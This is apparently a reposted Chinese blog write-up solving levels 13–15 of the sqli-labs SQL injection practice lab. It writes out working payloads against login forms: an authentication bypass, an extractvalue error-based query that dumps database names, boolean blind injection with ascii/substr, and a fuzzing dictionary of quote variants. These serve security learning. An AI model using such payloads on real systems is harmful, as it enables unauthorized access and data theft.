码迷,mamicode.com
首页 > 数据库 > 详细

sqli-labs(七)

时间:2018-08-27 23:17:15      阅读:441      评论:0      收藏:0      [点我收藏+]

标签:sch   情况   lang   src   post   rac   不能   显示   程序   

 

 

第十三关:

这关也是一个登陆口,和上关所说的一样,先使用‘"试一下,让程序报错然后判断后台的sql语句

技术分享图片

可以看到后台sql大概是 where name = (‘$name‘)...  这样的

post信息中输入uname=1‘) or ‘1‘=‘1‘ #&passwd=1&submit=Submit  可以成功进入

技术分享图片

但是没有显示账号密码之类的,所以不能使用上一关的联表查询。尝试使用上关的报错查询试试,输入

uname=1&passwd=1‘) and extractvalue(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata  limit 0,1))) #&submit=Submit

技术分享图片

能成功报错出数据库名!但是这里显示不全,可以不使用group_concat这个函数,利用limit一行一行的查询

其实这关主要考察的是双查询注入(floor的报错查询),但是这里可以使用extractvalue进行报错,那他的我就不继续下去了。

 

第十四关:

这关和第十三关是类似的,只是将‘)变成了"而已,至于是怎么判断的还是使用的‘"。

这里还补充一句,登录框的地方很多时候都没有报错信息,那么怎么判断后台的sql拼凑方式呢? 目前我的办法是将这些比如1‘ or ‘1‘=‘1‘ #  ;          1" or "1"="1" # ;        1‘) or ‘1‘=‘1‘ #  ; 1")or "1"="1" # 等等做成一个字典,然后进行fuzz。

 

第十五关:

好吧,上面刚说面没有报错的情况下应该怎么办,这关就遇到了!(说实话,我写上面那段话的时候是真的没有看这关的内容)

我刚看到这题的时候还是直接输入的‘",结果发现没有报错信息,这个时候就无法通过报错直接判断后台的拼接方式了。

使用上面fuzz的方式是可以判断的,但是这里我就直接看后台的实现吧

技术分享图片

发现后台是直接用的单引符号,这里也不会登陆成功后的账号密码,所以只能使用盲注了。

我记得我之前在第十一关的时候就尝试了盲注的,当时没成功,这里的情况实际上是和第十一关一模一样的,后台网上查了下才发现,盲注时应该是

or (ascii(substr((select database()) ,1,1))) >64
而不能是 or ascii(substr((select database()) ,1,1)) >64

post 输入uname=1‘ or  (ascii(substr((user()),1,1)))>64 #&passwd=1&submit=Submit  能登陆成功

技术分享图片

输入uname=1‘ or  (ascii(substr((user()),1,1)))>200 #&passwd=1&submit=Submit

技术分享图片

登陆失败,后面的就不继续了,利用二分法一个字符一个字符的判断即可。

 

sqli-labs(七)

标签:sch   情况   lang   src   post   rac   不能   显示   程序   

原文地址:https://www.cnblogs.com/jinqi520/p/9545286.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!